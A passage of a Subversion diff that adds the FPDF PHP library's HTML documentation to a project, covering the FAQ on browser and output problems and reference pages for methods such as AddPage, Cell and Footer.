+freely in your application (commercial or not), with or without modifications.
+</li>
+
+<li id='q2'>
+<p><b>2.</b> <span class='question'>When I try to create a PDF, a lot of weird characters show on the screen. Why?</span></p>
+These "weird" characters are in fact the actual content of your PDF. This behavior is a bug of
+IE6. When it first receives an HTML page, then a PDF from the same URL, it displays it directly
+without launching Acrobat. This happens frequently during the development stage: on the least
+script error, an HTML page is sent, and after correction, the PDF arrives.
+<br>
+To solve the problem, simply quit and restart IE. You can also go to another URL and come
+back.
+<br>
+To avoid this kind of inconvenience during the development, you can generate the PDF directly
+to a file and open it through the explorer.
+</li>
+
+<li id='q3'>
+<p><b>3.</b> <span class='question'>I try to generate a PDF and IE displays a blank page. What happens?</span></p>
+First of all, check that you send nothing to the browser after the PDF (not even a space or a
+carriage return). You can put an exit statement just after the call to the Output() method to
+be sure. If it still doesn't work, it means you're a victim of the "blank page syndrome". IE
+used in conjunction with the Acrobat plug-in suffers from many bugs. To avoid these problems
+in a reliable manner, two main techniques exist:
+<br>
+<br>
+- Disable the plug-in and use Acrobat as a helper application. To do this, launch Acrobat, go
+to the Edit menu, Preferences, Internet, and uncheck "Display PDF in browser". Then, the next
+time you load a PDF in IE, it displays the dialog box "Open it" or "Save it to disk". Uncheck
+the option "Always ask before opening this type of file" and choose Open. From now on, PDF files
+will open automatically in an external Acrobat window.
+<br>
+The drawback of the method is that you need to alter the client configuration, which you can do
+in an intranet environment but not for the Internet.
+<br>
+<br>
+- Use a redirection technique. It consists in generating the PDF in a temporary file on the server
+and redirect the client to it. For example, at the end of the script, you can put the following:
+<div class="doc-source">
+<pre><code>//Determine a temporary file name in the current directory
+$file = basename(tempnam('.', 'tmp'));
+rename($file, $file.'.pdf');
+$file .= '.pdf';
+//Save PDF to file
+$pdf-&gt;Output($file, 'F');
+//Redirect
+header('Location: '.$file);</code></pre>
+</div>
+This method turns the dynamic PDF into a static one and avoids all troubles. But you have to do
+some cleaning in order to delete the temporary files. For example:
+<div class="doc-source">
+<pre><code>function CleanFiles($dir)
+{
+    //Delete temporary files
+    $t = time();
+    $h = opendir($dir);
+    while($file=readdir($h))
+    {
+        if(substr($file,0,3)=='tmp' and substr($file,-4)=='.pdf')
+        {
+            $path = $dir.'/'.$file;
+            if($t-filemtime($path)&gt;3600)
+                @unlink($path);
+        }
+    }
+    closedir($h);
+}</code></pre>
+</div>
+This function deletes all files of the form tmp*.pdf older than an hour in the specified
+directory. You may call it where you want, for example in the script which generates the PDF.
+</li>
+
+<li id='q4'>
+<p><b>4.</b> <span class='question'>I can't make line breaks work. I put \n in the string printed by MultiCell but it doesn't work.</span></p>
+You have to enclose your string with double quotes, not single ones.
+</li>
+
+<li id='q5'>
+<p><b>5.</b> <span class='question'>I try to display a variable in the Header method but nothing prints.</span></p>
+You have to use the <code>global</code> keyword to access global variables, for example:
+<div class="doc-source">
+<pre><code>function Header()
+{
+    global $title;
+
+    $this-&gt;SetFont('Arial', 'B', 15);
+    $this-&gt;Cell(0, 10, $title, 1, 1, 'C');
+}
+
+$title = 'My title';</code></pre>
+</div>
+Alternatively, you can use an object property:
+<div class="doc-source">
+<pre><code>function Header()
+{
+    $this-&gt;SetFont('Arial', 'B', 15);
+    $this-&gt;Cell(0, 10, $this-&gt;title, 1, 1, 'C');
+}
+
+$pdf-&gt;title = 'My title';</code></pre>
+</div>
+</li>
+
+<li id='q6'>
+<p><b>6.</b> <span class='question'>I defined the Header and Footer methods in my PDF class but nothing appears.</span></p>
+You have to create an object from the PDF class, not FPDF:
+<div class="doc-source">
+<pre><code>$pdf = new PDF();</code></pre>
+</div>
+</li>
+
+<li id='q7'>
+<p><b>7.</b> <span class='question'>Accented characters are replaced by some strange characters like Ã©.</span></p>
+Don't use UTF-8 encoding. Standard FPDF fonts use ISO-8859-1 or Windows-1252.
+It is possible to perform a conversion to ISO-8859-1 with utf8_decode():
+<div class="doc-source">
+<pre><code>$str = utf8_decode($str);</code></pre>
+</div>
+But some characters such as Euro won't be translated correctly. If the iconv extension is available, the
+right way to do it is the following:
+<div class="doc-source">
+<pre><code>$str = iconv('UTF-8', 'windows-1252', $str);</code></pre>
+</div>
+</li>
+
+<li id='q8'>
+<p><b>8.</b> <span class='question'>I try to display the Euro symbol but it doesn't work.</span></p>
+The standard fonts have the Euro character at position 128. You can define a constant like this
+for convenience:
+<div class="doc-source">
+<pre><code>define('EURO', chr(128));</code></pre>
+</div>
+</li>
+
+<li id='q9'>
+<p><b>9.</b> <span class='question'>I get the following error when I try to generate a PDF: Some data has already been output, can't send PDF file</span></p>
+You must send nothing to the browser except the PDF itself: no HTML, no space, no carriage return.
+You may have this other message just before:<br>
+<br>
+<b>Warning:</b> Cannot modify header information - headers already sent by (output started at script.php:X)<br>
+<br>
+It means that script.php outputs something at line X. Go to this line and fix it.
+In case the warning doesn't show, add this at the very beginning of your script:
+<div class="doc-source">
+<pre><code>ob_end_clean();</code></pre>
+</div>
+If you still don't see it, disable zlib.output_compression in your php.ini.
+</li>
+
+<li id='q10'>
+<p><b>10.</b> <span class='question'>I draw a frame with very precise dimensions, but when printed I notice some differences.</span></p>
+To respect dimensions, select "None" for the Page Scaling setting instead of "Shrink to Printable Area" in the print dialog box.
+</li>
+
+<li id='q11'>
+<p><b>11.</b> <span class='question'>I'd like to use the whole surface of the page, but when printed I always have some margins. How can I get rid of them?</span></p>
+Printers have physical margins (different depending on the models); it is therefore impossible to remove
+them and print on the whole surface of the paper.
+</li>
+
+<li id='q12'>
+<p><b>12.</b> <span class='question'>How can I put a background in my PDF?</span></p>
+For a picture, call Image() in the Header() method, before any other output. To set a background color, use Rect().
+</li>
+
+<li id='q13'>
+<p><b>13.</b> <span class='question'>How can I set a specific header or footer on the first page?</span></p>
+Simply test the page number:
+<div class="doc-source">
+<pre><code>function Header()
+{
+    if($this-&gt;PageNo()==1)
+    {
+        //First page
+        ...
+    }
+    else
+    {
+        //Other pages
+        ...
+    }
+}</code></pre>
+</div>
+</li>
+
+<li id='q14'>
+<p><b>14.</b> <span class='question'>I'd like to use extensions provided by different scripts. How can I combine them?</span></p>
+Use an inheritance chain. If you have two classes, say A in a.php:
+<div class="doc-source">
+<pre><code>require('fpdf.php');
+
+class A extends FPDF
+{
+...
+}</code></pre>
+</div>
+and B in b.php:
+<div class="doc-source">
+<pre><code>require('fpdf.php');
+
+class B extends FPDF
+{
+...
+}</code></pre>
+</div>
+then make B extend A:
+<div class="doc-source">
+<pre><code>require('a.php');
+
+class B extends A
+{
+...
+}</code></pre>
+</div>
+and make your own class extend B:
+<div class="doc-source">
+<pre><code>require('b.php');
+
+class PDF extends B
+{
+...
+}
+
+$pdf = new PDF();</code></pre>
+</div>
+</li>
+
+<li id='q15'>
+<p><b>15.</b> <span class='question'>How can I send the PDF by email?</span></p>
+As any other file, but an easy way is to use <a href="http://phpmailer.codeworxtech.com">PHPMailer</a> and
+its in-memory attachment:
+<div class="doc-source">
+<pre><code>$mail = new PHPMailer();
+...
+$doc = $pdf-&gt;Output('', 'S');
+$mail-&gt;AddStringAttachment($doc, 'doc.pdf', 'base64', 'application/pdf');
+$mail-&gt;Send();</code></pre>
+</div>
+</li>
+
+<li id='q16'>
+<p><b>16.</b> <span class='question'>What's the limit of the file sizes I can generate with FPDF?</span></p>
+There is no particular limit. There are some constraints, however:
+<br>
+<br>
+- The maximum memory size allocated to PHP scripts is usually 8MB. For very big documents,
+especially with images, this limit may be reached (the file being built into memory). The
+parameter is configured in the php.ini file.
+<br>
+<br>
+- The maximum execution time allocated defaults to 30 seconds. This limit can of course be easily
+reached. It is configured in php.ini and may be altered dynamically with set_time_limit().
+<br>
+<br>
+- Browsers generally have a 5 minute time-out. If you send the PDF directly to the browser and
+reach the limit, it will be lost. It is therefore advised for very big documents to
+generate them in a file, and to send some data to the browser from time to time (with a call
+to flush() to force the output). When the document is finished, you can send a redirection to
+it or create a link.
+<br>
+Remark: even if the browser times out, the script may continue to run on the server.
+</li>
+
+<li id='q17'>
+<p><b>17.</b> <span class='question'>Can I modify a PDF with FPDF?</span></p>
+It is possible to import pages from an existing PDF document thanks to the FPDI extension:<br>
+<br>
+<a href="http://www.setasign.de/products/pdf-php-solutions/fpdi/" target="_blank">http://www.setasign.de/products/pdf-php-solutions/fpdi/</a><br>
+<br>
+You can then add some content to them.
+</li>
+
+<li id='q18'>
+<p><b>18.</b> <span class='question'>I'd like to make a search engine in PHP and index PDF files. Can I do it with FPDF?</span></p>
+No. But a GPL C utility does exist, pdftotext, which is able to extract the textual content from
+a PDF. It is provided with the Xpdf package:<br>
+<br>
+<a href="http://www.foolabs.com/xpdf/" target="_blank">http://www.foolabs.com/xpdf/</a>
+</li>
+
+<li id='q19'>
+<p><b>19.</b> <span class='question'>Can I convert an HTML page to PDF with FPDF?</span></p>
+Not real-world pages. But a GPL C utility does exist, htmldoc, which allows to do it and gives good results:<br>
+<br>
+<a href="http://www.htmldoc.org" target="_blank">http://www.htmldoc.org</a>
+</li>
+
+<li id='q20'>
+<p><b>20.</b> <span class='question'>Can I concatenate PDF files with FPDF?</span></p>
+Not directly, but it is possible to use <a href="http://www.setasign.de/products/pdf-php-solutions/fpdi/demos/concatenate-fake/" target="_blank">FPDI</a>
+to perform this task. Some free command-line tools also exist:<br>
+<br>
+<a href="http://thierry.schmit.free.fr/spip/spip.php?article15&amp;lang=en" target="_blank">mbtPdfAsm</a><br>
+<a href="http://www.accesspdf.com/pdftk/" target="_blank">pdftk</a>
+</li>
+</ul>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/acceptpagebreak.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/acceptpagebreak.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/acceptpagebreak.htm	(revision 44)
@@ -0,0 +1,63 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>AcceptPageBreak</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>AcceptPageBreak</h1>
+<code><b>boolean</b> AcceptPageBreak()</code>
+<h2>Description</h2>
+Whenever a page break condition is met, the method is called, and the break is issued or not
+depending on the returned value. The default implementation returns a value according to the
+mode selected by SetAutoPageBreak().
+<br>
+This method is called automatically and should not be called directly by the application.
+<h2>Example</h2>
+The method is overriden in an inherited class in order to obtain a 3 column layout:
+<div class="doc-source">
+<pre><code>class PDF extends FPDF
+{
+var $col=0;
+
+function SetCol($col)
+{
+    //Move position to a column
+    $this-&gt;col=$col;
+    $x=10+$col*65;
+    $this-&gt;SetLeftMargin($x);
+    $this-&gt;SetX($x);
+}
+
+function AcceptPageBreak()
+{
+    if($this-&gt;col&lt;2)
+    {
+        //Go to next column
+        $this-&gt;SetCol($this-&gt;col+1);
+        $this-&gt;SetY(10);
+        return false;
+    }
+    else
+    {
+        //Go back to first column and issue page break
+        $this-&gt;SetCol(0);
+        return true;
+    }
+}
+}
+
+$pdf=new PDF();
+$pdf-&gt;AddPage();
+$pdf-&gt;SetFont('Arial','',12);
+for($i=1;$i&lt;=300;$i++)
+    $pdf-&gt;Cell(0,5,&quot;Line $i&quot;,0,1);
+$pdf-&gt;Output();</code></pre>
+</div>
+<h2>See also</h2>
+<a href="setautopagebreak.htm">SetAutoPageBreak()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/addfont.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/addfont.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/addfont.htm	(revision 44)
@@ -0,0 +1,55 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>AddFont</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>AddFont</h1>
+<code>AddFont(<b>string</b> family [, <b>string</b> style [, <b>string</b> file]])</code>
+<h2>Description</h2>
+Imports a TrueType or Type1 font and makes it available. It is necessary to generate a font
+definition file first with the makefont.php utility.
+<br>
+The definition file (and the font file itself when embedding) must be present in the font directory.
+If it is not found, the error "Could not include font definition file" is generated.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>family</code></dt>
+<dd>
+Font family. The name can be chosen arbitrarily. If it is a standard family name, it will
+override the corresponding font.
+</dd>
+<dt><code>style</code></dt>
+<dd>
+Font style. Possible values are (case insensitive):
+<ul>
+<li>empty string: regular</li>
+<li><code>B</code>: bold</li>
+<li><code>I</code>: italic</li>
+<li><code>BI</code> or <code>IB</code>: bold italic</li>
+</ul>
+The default value is regular.
+</dd>
+<dt><code>file</code></dt>
+<dd>
+The font definition file.
+<br>
+By default, the name is built from the family and style, in lower case with no space.
+</dd>
+</dl>
+<h2>Example</h2>
+<div class="doc-source">
+<pre><code>$pdf-&gt;AddFont('Comic','I');</code></pre>
+</div>
+is equivalent to:
+<div class="doc-source">
+<pre><code>$pdf-&gt;AddFont('Comic','I','comici.php');</code></pre>
+</div>
+<h2>See also</h2>
+<a href="setfont.htm">SetFont()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/addlink.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/addlink.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/addlink.htm	(revision 44)
@@ -0,0 +1,26 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>AddLink</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>AddLink</h1>
+<code><b>int</b> AddLink()</code>
+<h2>Description</h2>
+Creates a new internal link and returns its identifier. An internal link is a clickable area
+which directs to another place within the document.
+<br>
+The identifier can then be passed to Cell(), Write(), Image() or Link(). The destination is
+defined with SetLink().
+<h2>See also</h2>
+<a href="cell.htm">Cell()</a>,
+<a href="write.htm">Write()</a>,
+<a href="image.htm">Image()</a>,
+<a href="link.htm">Link()</a>,
+<a href="setlink.htm">SetLink()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/addpage.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/addpage.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/addpage.htm	(revision 44)
@@ -0,0 +1,56 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>AddPage</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>AddPage</h1>
+<code>AddPage([<b>string</b> orientation ,[ <b>mixed</b> format]])</code>
+<h2>Description</h2>
+Adds a new page to the document. If a page is already present, the Footer() method is called
+first to output the footer. Then the page is added, the current position set to the top-left
+corner according to the left and top margins, and Header() is called to display the header.
+<br>
+The font which was set before calling is automatically restored. There is no need to call
+SetFont() again if you want to continue with the same font. The same is true for colors and
+line width.
+<br>
+The origin of the coordinate system is at the top-left corner and increasing ordinates go
+downwards.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>orientation</code></dt>
+<dd>
+Page orientation. Possible values are (case insensitive):
+<ul>
+<li><code>P</code> or <code>Portrait</code></li>
+<li><code>L</code> or <code>Landscape</code></li>
+</ul>
+The default value is the one passed to the constructor.
+</dd>
+<dt><code>format</code></dt>
+<dd>
+Page format. It can be either one of the following values (case insensitive):
+<ul>
+<li><code>A3</code></li>
+<li><code>A4</code></li>
+<li><code>A5</code></li>
+<li><code>Letter</code></li>
+<li><code>Legal</code></li>
+</ul>
+or an array containing the width and the height (expressed in user unit).<br>
+<br>
+The default value is the one passed to the constructor.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="fpdf.htm">FPDF()</a>,
+<a href="header.htm">Header()</a>,
+<a href="footer.htm">Footer()</a>,
+<a href="setmargins.htm">SetMargins()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/aliasnbpages.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/aliasnbpages.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/aliasnbpages.htm	(revision 44)
@@ -0,0 +1,45 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>AliasNbPages</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>AliasNbPages</h1>
+<code>AliasNbPages([<b>string</b> alias])</code>
+<h2>Description</h2>
+Defines an alias for the total number of pages. It will be substituted as the document is
+closed.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>alias</code></dt>
+<dd>
+The alias. Default value: <code>{nb}</code>.
+</dd>
+</dl>
+<h2>Example</h2>
+<div class="doc-source">
+<pre><code>class PDF extends FPDF
+{
+function Footer()
+{
+    //Go to 1.5 cm from bottom
+    $this-&gt;SetY(-15);
+    //Select Arial italic 8
+    $this-&gt;SetFont('Arial','I',8);
+    //Print current and total page numbers
+    $this-&gt;Cell(0,10,'Page '.$this-&gt;PageNo().'/{nb}',0,0,'C');
+}
+}
+
+$pdf=new PDF();
+$pdf-&gt;AliasNbPages();</code></pre>
+</div>
+<h2>See also</h2>
+<a href="pageno.htm">PageNo()</a>,
+<a href="footer.htm">Footer()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/cell.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/cell.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/cell.htm	(revision 44)
@@ -0,0 +1,104 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Cell</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Cell</h1>
+<code>Cell(<b>float</b> w [, <b>float</b> h [, <b>string</b> txt [, <b>mixed</b> border [, <b>int</b> ln [, <b>string</b> align [, <b>boolean</b> fill [, <b>mixed</b> link]]]]]]])</code>
+<h2>Description</h2>
+Prints a cell (rectangular area) with optional borders, background color and character string.
+The upper-left corner of the cell corresponds to the current position. The text can be aligned
+or centered. After the call, the current position moves to the right or to the next line. It is
+possible to put a link on the text.
+<br>
+If automatic page breaking is enabled and the cell goes beyond the limit, a page break is
+done before outputting.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>w</code></dt>
+<dd>
+Cell width. If <code>0</code>, the cell extends up to the right margin.
+</dd>
+<dt><code>h</code></dt>
+<dd>
+Cell height.
+Default value: <code>0</code>.
+</dd>
+<dt><code>txt</code></dt>
+<dd>
+String to print.
+Default value: empty string.
+</dd>
+<dt><code>border</code></dt>
+<dd>
+Indicates if borders must be drawn around the cell. The value can be either a number:
+<ul>
+<li><code>0</code>: no border</li>
+<li><code>1</code>: frame</li>
+</ul>
+or a string containing some or all of the following characters (in any order):
+<ul>
+<li><code>L</code>: left</li>
+<li><code>T</code>: top</li>
+<li><code>R</code>: right</li>
+<li><code>B</code>: bottom</li>
+</ul>
+Default value: <code>0</code>.
+</dd>
+<dt><code>ln</code></dt>
+<dd>
+Indicates where the current position should go after the call. Possible values are:
+<ul>
+<li><code>0</code>: to the right</li>
+<li><code>1</code>: to the beginning of the next line</li>
+<li><code>2</code>: below</li>
+</ul>
+Putting <code>1</code> is equivalent to putting <code>0</code> and calling Ln() just after.
+Default value: <code>0</code>.
+</dd>
+<dt><code>align</code></dt>
+<dd>
+Allows to center or align the text. Possible values are:
+<ul>
+<li><code>L</code> or empty string: left align (default value)</li>
+<li><code>C</code>: center</li>
+<li><code>R</code>: right align</li>
+</ul>
+</dd>
+<dt><code>fill</code></dt>
+<dd>
+Indicates if the cell background must be painted (<code>true</code>) or transparent (<code>false</code>).
+Default value: <code>false</code>.
+</dd>
+<dt><code>link</code></dt>
+<dd>
+URL or identifier returned by AddLink().
+</dd>
+</dl>
+<h2>Example</h2>
+<div class="doc-source">
+<pre><code>//Set font
+$pdf-&gt;SetFont('Arial','B',16);
+//Move to 8 cm to the right
+$pdf-&gt;Cell(80);
+//Centered text in a framed 20*10 mm cell and line break
+$pdf-&gt;Cell(20,10,'Title',1,1,'C');</code></pre>
+</div>
+<h2>See also</h2>
+<a href="setfont.htm">SetFont()</a>,
+<a href="setdrawcolor.htm">SetDrawColor()</a>,
+<a href="setfillcolor.htm">SetFillColor()</a>,
+<a href="settextcolor.htm">SetTextColor()</a>,
+<a href="setlinewidth.htm">SetLineWidth()</a>,
+<a href="addlink.htm">AddLink()</a>,
+<a href="ln.htm">Ln()</a>,
+<a href="multicell.htm">MultiCell()</a>,
+<a href="write.htm">Write()</a>,
+<a href="setautopagebreak.htm">SetAutoPageBreak()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/close.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/close.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/close.htm	(revision 44)
@@ -0,0 +1,21 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Close</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Close</h1>
+<code>Close()</code>
+<h2>Description</h2>
+Terminates the PDF document. It is not necessary to call this method explicitly because Output()
+does it automatically.
+<br>
+If the document contains no page, AddPage() is called to prevent from getting an invalid document.
+<h2>See also</h2>
+<a href="output.htm">Output()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/error.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/error.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/error.htm	(revision 44)
@@ -0,0 +1,25 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Error</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Error</h1>
+<code>Error(<b>string</b> msg)</code>
+<h2>Description</h2>
+This method is automatically called in case of fatal error; it simply outputs the message
+and halts the execution. An inherited class may override it to customize the error handling
+but should always halt the script, or the resulting document would probably be invalid.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>msg</code></dt>
+<dd>
+The error message.
+</dd>
+</dl>
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/footer.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/footer.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/footer.htm	(revision 44)
@@ -0,0 +1,35 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Footer</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Footer</h1>
+<code>Footer()</code>
+<h2>Description</h2>
+This method is used to render the page footer. It is automatically called by AddPage() and
+Close() and should not be called directly by the application. The implementation in FPDF is
+empty, so you have to subclass it and override the method if you want a specific processing.
+<h2>Example</h2>
+<div class="doc-source">
+<pre><code>class PDF extends FPDF
+{
+function Footer()
+{
+    //Go to 1.5 cm from bottom
+    $this-&gt;SetY(-15);
+    //Select Arial italic 8
+    $this-&gt;SetFont('Arial','I',8);
+    //Print centered page number
+    $this-&gt;Cell(0,10,'Page '.$this-&gt;PageNo(),0,0,'C');
+}
+}</code></pre>
+</div>
+<h2>See also</h2>
+<a href="header.htm">Header()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/fpdf.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/fpdf.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/fpdf.htm	(revision 44)
@@ -0,0 +1,63 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>FPDF</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>FPDF</h1>
+<code>FPDF([<b>string</b> orientation [, <b>string</b> unit [, <b>mixed</b> format]]])</code>
+<h2>Description</h2>
+This is the class constructor. It allows to set up the page format, the orientation and the
+unit of measure used in all methods (except for font sizes).
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>orientation</code></dt>
+<dd>
+Default page orientation. Possible values are (case insensitive):
+<ul>
+<li><code>P</code> or <code>Portrait</code></li>
+<li><code>L</code> or <code>Landscape</code></li>
+</ul>
+Default value is <code>P</code>.
+</dd>
+<dt><code>unit</code></dt>
+<dd>
+User unit. Possible values are:
+<ul>
+<li><code>pt</code>: point</li>
+<li><code>mm</code>: millimeter</li>
+<li><code>cm</code>: centimeter</li>
+<li><code>in</code>: inch</li>
+</ul>
+A point equals 1/72 of inch, that is to say about 0.35 mm (an inch being 2.54 cm). This
+is a very common unit in typography; font sizes are expressed in that unit.
+<br>
+<br>
+Default value is <code>mm</code>.
+</dd>
+<dt><code>format</code></dt>
+<dd>
+The format used for pages. It can be either one of the following values (case insensitive):
+<ul>
+<li><code>A3</code></li>
+<li><code>A4</code></li>
+<li><code>A5</code></li>
+<li><code>Letter</code></li>
+<li><code>Legal</code></li>
+</ul>
+or an array containing the width and the height (expressed in the unit given by <code>unit</code>).<br>
+<br>
+Default value is <code>A4</code>.
+</dd>
+</dl>
+<h2>Example</h2>
+Example with a custom 100x150 mm page format:
+<div class="doc-source">
+<pre><code>$pdf = new FPDF('P', 'mm', array(100,150));</code></pre>
+</div>
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/getstringwidth.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/getstringwidth.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/getstringwidth.htm	(revision 44)
@@ -0,0 +1,23 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>GetStringWidth</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>GetStringWidth</h1>
+<code><b>float</b> GetStringWidth(<b>string</b> s)</code>
+<h2>Description</h2>
+Returns the length of a string in user unit. A font must be selected.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>s</code></dt>
+<dd>
+The string whose length is to be computed.
+</dd>
+</dl>
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/getx.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/getx.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/getx.htm	(revision 44)
@@ -0,0 +1,20 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>GetX</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>GetX</h1>
+<code><b>float</b> GetX()</code>
+<h2>Description</h2>
+Returns the abscissa of the current position.
+<h2>See also</h2>
+<a href="setx.htm">SetX()</a>,
+<a href="gety.htm">GetY()</a>,
+<a href="sety.htm">SetY()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/gety.htm
